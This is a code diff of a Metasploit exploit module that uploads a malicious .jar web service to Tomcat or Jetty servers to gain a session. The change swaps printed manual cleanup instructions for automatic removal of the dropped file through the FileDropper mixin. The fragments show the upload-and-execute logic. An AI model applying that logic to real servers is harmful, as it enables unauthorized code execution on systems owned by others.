@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
11
11
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)|Jetty.*/ ] }
12
12
13
13
include Msf ::Exploit ::Remote ::HttpClient
14
+ include Msf ::Exploit ::FileDropper
14
15
15
16
def initialize ( info = { } )
16
17
super ( update_info ( info ,
@@ -74,6 +75,11 @@ def initialize(info = {})
74
75
def upload_exec ( session , rpath )
75
76
contents = ''
76
77
name = Rex ::Text . rand_text_alpha ( 8 )
78
+
79
+ # We must register this file early, that way the on_new_session method
80
+ # won't miss it if FileDropper's cleanup routine kicks in.
81
+ register_file_for_cleanup ( "webapps#{ rpath } /WEB-INF/services/#{ name } .jar" )
82
+
77
83
services_xml = %Q{
78
84
<service name="#{ name } " scope="application">
79
85
<description>
@@ -215,7 +221,6 @@ def upload_exec(session,rpath)
215
221
end
216
222
217
223
if res and res . code > 200 and res . code < 300
218
- cleanup_instructions ( rpath , name ) # display cleanup info
219
224
throw :stop # exit loop
220
225
elsif res and res . code == 401
221
226
if ( res . headers [ 'WWW-Authenticate' ] )
@@ -225,7 +230,6 @@ def upload_exec(session,rpath)
225
230
if authmsg
226
231
print_error ( "WWW-Authenticate: %s" % authmsg )
227
232
end
228
- cleanup_instructions ( rpath , name ) # display cleanup info
229
233
raise ::Rex ::ConnectionError
230
234
throw :stop # exit loop
231
235
end
@@ -236,19 +240,6 @@ def upload_exec(session,rpath)
236
240
end
237
241
end
238
242
239
- def cleanup_instructions ( rpath , name )
240
- print_line ( "" )
241
- print_status ( "NOTE: You will need to delete the web service that was uploaded." )
242
- print_line ( "" )
243
- print_status ( "Using meterpreter:" )
244
- print_status ( "rm \" webapps#{ rpath } /WEB-INF/services/#{ name } .jar\" " )
245
- print_line ( "" )
246
- print_status ( "Using the shell:" )
247
- print_status ( "cd \" webapps#{ rpath } /WEB-INF/services\" " )
248
- print_status ( "del #{ name } .jar" )
249
- print_line ( "" )
250
- end
251
-
252
243
def exploit
253
244
user = datastore [ 'USERNAME' ]
254
245
pass = datastore [ 'PASSWORD' ]
0 commit comments